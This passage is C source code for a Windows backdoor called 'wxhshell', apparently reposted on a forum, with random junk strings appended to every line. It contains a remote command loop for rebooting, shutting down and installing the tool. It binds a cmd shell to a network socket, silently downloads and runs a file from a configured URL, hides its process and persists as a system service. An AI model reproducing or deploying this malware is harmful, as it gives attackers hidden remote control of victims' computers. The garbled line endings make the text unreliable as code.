  wxkCmrV  
  // 帮助 ]IoJ(4f  
  case '?': { V'#dY~E-P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U,LW(wueT  
    break; 8E&}+DR?  
  } aA-A>z  
  // 安装 ?FVX &{{V  
  case 'i': { zu5'Ex`gQa  
    if(Install()) -X'HZ\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lTv I;zy  
    else +J} wYind  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &W-L`aFd0  
    break; 3xxQL,FV  
    } --d<s  
  // 卸载 Gi~p-OS,  
  case 'r': { AV Gu*  
    if(Uninstall()) /1F%w8Iqh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `utv@9 _z  
    else x9Fga_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QM2Y?."#  
    break; WjW+ EF8(  
    } 9W:oo:dK F  
  // 显示 wxhshell 所在路径 p @&>{hi@  
  case 'p': { Y (x_bJ  
    char svExeFile[MAX_PATH]; OXe+=Lp<  
    strcpy(svExeFile,"\n\r"); "+/%s#&  
      strcat(svExeFile,ExeFile); y  >r7(qg  
        send(wsh,svExeFile,strlen(svExeFile),0); ;,[6 n|M  
    break; 4 sasf94  
    } RbzSQr>a\  
  // 重启 >A5R  
  case 'b': { 7cW9@xPe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FRd!UqMXY  
    if(Boot(REBOOT)) !O6e,l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); id<i|  
    else { u~[HC)4(0  
    closesocket(wsh); [bk2RaX:i  
    ExitThread(0); u?5 d%]*  
    } {STOWuY  
    break; Z"#eN(v.N  
    } }IO<Dq=[  
  // 关机 ~qt)r_jW  
  case 'd': { $R(?@B(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z>gxECi  
    if(Boot(SHUTDOWN)) aDmyr_f$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'kb5pl~U  
    else { mbB,j~;^6H  
    closesocket(wsh); g\S@@0T{0  
    ExitThread(0); (DJLq  
    } :Rv ?>I j  
    break; r8g4NsRVtv  
    } ! Ob  
  // 获取shell %a=K:" oU[  
  case 's': { >}Qj|05G  
    CmdShell(wsh);  Ec IgX_\  
    closesocket(wsh); 9pUvw_9MY  
    ExitThread(0); fZ1v|  
    break; QA>(}u\+  
  } qzS 9ls>>  
  // 退出 CF"$&+s9  
  case 'x': { wmKM:`&[5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZycV?ob8}  
    CloseIt(wsh); s3qWTdM  
    break; nfpkWyIu{  
    } `q|&;wP.  
  // 离开 mAMi-9  
  case 'q': { **_`AM~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D,q=?~  
    closesocket(wsh); U"$Q$ OFs  
    WSACleanup(); Ck;O59A"&-  
    exit(1); 7?Q@Hj(:NT  
    break; o#3?")>|  
        } y_EkW f  
  } uw!  
  } !`=ms1%U  
&7Frg`B&:  
  // 提示信息 d\aKGq;8C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f0p+l -iEv  
} :*bv(~FW  
  } L[l ?}\  
=OfU#i"c  
  return; 3 i<,#FaL  
} #p& &w1  
j.FA!4L  
// shell模块句柄 5v"r>q[ X  
int CmdShell(SOCKET sock) :#D?b.=  
{ s2f9 5<B  
STARTUPINFO si; }$M 2XF  
ZeroMemory(&si,sizeof(si)); _y#omEx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m|q?gX9R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n8<o*f&&9>  
PROCESS_INFORMATION ProcessInfo; n\d`Fk  
char cmdline[]="cmd"; i0F.c\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EvZ;i^.8LS  
  return 0; \#4??@+Xf  
} u I$| M  
n Q|4.e;  
// 自身启动模式 iVq4&X_x  
int StartFromService(void) D|8vS8p  
{ fR_ jYP 1  
typedef struct UeWEncN(  
{ p- 5)J&  
  DWORD ExitStatus; ~wnTl[:  
  DWORD PebBaseAddress; \s<7!NAE4  
  DWORD AffinityMask; =Y`P}vI]w%  
  DWORD BasePriority; z0J$9hEg89  
  ULONG UniqueProcessId; 2 qRX A  
  ULONG InheritedFromUniqueProcessId; >Gbj1>C}  
}   PROCESS_BASIC_INFORMATION; w:Ui_-4*>  
P.*J'q 28  
PROCNTQSIP NtQueryInformationProcess; !_GY\@}  
WqN=  D5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %M8Egr2|0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M=[/v/M=  
;9r Z{'i+|  
  HANDLE             hProcess;  Q(SVJ  
  PROCESS_BASIC_INFORMATION pbi; $>E\3npV  
:LRR\v0HM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TJ(PTB;  
  if(NULL == hInst ) return 0; _'&N01  
'!`%!Xg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e;b,7Qw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); & pwSd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #!p=P<4M  
6cof Zc$  
  if (!NtQueryInformationProcess) return 0; >}QRMn|@H  
w?CbATQ   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0P`wh=")  
  if(!hProcess) return 0; ={' "ATX(U  
~XGO^P"?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a2W}Wb+  
h"VQFqQy  
  CloseHandle(hProcess); Tks;,C  
H"(:6 `  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MhC74G  
if(hProcess==NULL) return 0; 1?)iCe  
A(duUl~  
HMODULE hMod; `}o4&$  
char procName[255]; ~^/zCPy[w  
unsigned long cbNeeded; J5LP#o(V  
$mm =$.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r`u}n  
rUfW0  
  CloseHandle(hProcess); 3{_AzL  
3WyK!@{  
if(strstr(procName,"services")) return 1; // 以服务启动 j&E4|g (  
5@c,iU-L  
  return 0; // 注册表启动 zi:F/TlUC  
} bb;fV  
mY-Z$8r  
// 主模块 KtJE  
int StartWxhshell(LPSTR lpCmdLine) ZCPK{Ru QE  
{ bHlG(1uf  
  SOCKET wsl; qG"|,bA  
BOOL val=TRUE; j`Lf/S!}  
  int port=0; iHjo3_g)n  
  struct sockaddr_in door; eux _tyC  
w?ssV  
  if(wscfg.ws_autoins) Install(); IV^LYu  
dsDoPo0!  
port=atoi(lpCmdLine); q3Umqvl)oe  
G],+?E_,  
if(port<=0) port=wscfg.ws_port; O<4i)Lx2  
2>Kq)Ii  
  WSADATA data; 1_:1cF{w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UwtOlV:G{  
Bp\io$(%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C>cc!+n%H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R#~}ZUk2  
  door.sin_family = AF_INET; G B!3` A%&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7HPLD&WPt  
  door.sin_port = htons(port); ,4j$kR  
4,9AoK)yp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =1^a/  
closesocket(wsl); ih `/1n  
return 1; Z_' %'&Y  
} q?z6|]M|u  
$n `Zvl2  
  if(listen(wsl,2) == INVALID_SOCKET) { Qpd-uC_Ni  
closesocket(wsl); yp5*8g5  
return 1; 3M{!yPlj  
} T~$ePVk>L  
  Wxhshell(wsl); HY#7Ctn3  
  WSACleanup(); zc J]US  
G_5sF|(mq  
return 0; OxElvbM#  
+C;ZO6%w  
} )|LX_kyW  
2a.NWJS  
// 以NT服务方式启动 pALB[;9g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )xQxc.  
{ 0vG}c5;F  
DWORD   status = 0; {+c/$4 <  
  DWORD   specificError = 0xfffffff; )$q<"t\#P#  
1E$Z]5C9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xy mK|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qU8UKIP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VR?7{3  
  serviceStatus.dwWin32ExitCode     = 0; <6<uO\B\  
  serviceStatus.dwServiceSpecificExitCode = 0; s cR-|GuZ  
  serviceStatus.dwCheckPoint       = 0; X1<)B]y  
  serviceStatus.dwWaitHint       = 0; Y'f I4  
'G(N,vu[@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oE#HI2X  
  if (hServiceStatusHandle==0) return; 1ISA^< M  
~b\7 qx_a9  
status = GetLastError(); N(vbo  
  if (status!=NO_ERROR) OpxVy _5,  
{ yD1*^~loJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2DQ'h}BI  
    serviceStatus.dwCheckPoint       = 0; yE9JMi 0  
    serviceStatus.dwWaitHint       = 0; `H$s -PX  
    serviceStatus.dwWin32ExitCode     = status; |+6Z+-.Hg  
    serviceStatus.dwServiceSpecificExitCode = specificError; };oRx)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zQ{ Q>"-  
    return; ("/*k  
  } $ O}gl Q  
1\YX|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v{ C]\8  
  serviceStatus.dwCheckPoint       = 0; :^%s oEi  
  serviceStatus.dwWaitHint       = 0; I-/PzL<W P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y=h2_jt  
} vCH>Fj"7  
9Z*`{  
// 处理NT服务事件,比如:启动、停止 R5]R pW=G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %h|z)  
{ #PXl*~PrQ/  
switch(fdwControl) |D]jdd@!a2  
{ IUd>jHp`6  
case SERVICE_CONTROL_STOP: ItM?nyA  
  serviceStatus.dwWin32ExitCode = 0; c09] Cp<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { w!}:8p  
  serviceStatus.dwCheckPoint   = 0; b@YSrjJ  
  serviceStatus.dwWaitHint     = 0; rA=F:N 2  
  { jv2l_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @2$PU{dH  
  } [-6j4D  
  return; qgZ(o@\  
case SERVICE_CONTROL_PAUSE: !YJdi~q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AX'(xb,  
  break; }i[i{lKj  
case SERVICE_CONTROL_CONTINUE: t ?bq ~!X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /SMp`Q88  
  break; S\0"G*  
case SERVICE_CONTROL_INTERROGATE: :\80*[=;Z  
  break; *otJtEI>6  
}; Yf{s0Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@wT ,yJ8@  
} Gw+z8^|C&}  
 EVq<gGy  
// 标准应用程序主函数 S}Mxm 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !@VmaAT  
{ Kjz,p^Y\  
$ya#-pi`;  
// 获取操作系统版本 {g/\5Z\b  
OsIsNt=GetOsVer(); `dL9sfj>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E/U1g4S  
_"WQi}Mm  
  // 从命令行安装 `n^jU92  
  if(strpbrk(lpCmdLine,"iI")) Install(); qk_ s"}sS  
?WAlW,H>  
  // 下载执行文件 T$}<So|  
if(wscfg.ws_downexe) { ?R,^prW{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fd+kr#  
  WinExec(wscfg.ws_filenam,SW_HIDE); {ReAl_Cm  
} |AFF*]e S  
Nm,v E7M  
if(!OsIsNt) { mnil1*-c0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hlz4f+#I  
HideProc(); +!_^MBkk  
StartWxhshell(lpCmdLine); ;U20g:K  
} e'\I^'`!M  
else "r"Y9KODm  
  if(StartFromService()) ^kt"n( P5  
  // 以服务方式启动 v11mu2  
  StartServiceCtrlDispatcher(DispatchTable); H[>_LYZ8  
else }Bc6:a  
  // 普通方式启动 -CL7^  
  StartWxhshell(lpCmdLine); mD)Nh  
u8?ceM^r  
return 0; ;OdUH   
}
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只看该作者 1 发表于: 2006-10-10
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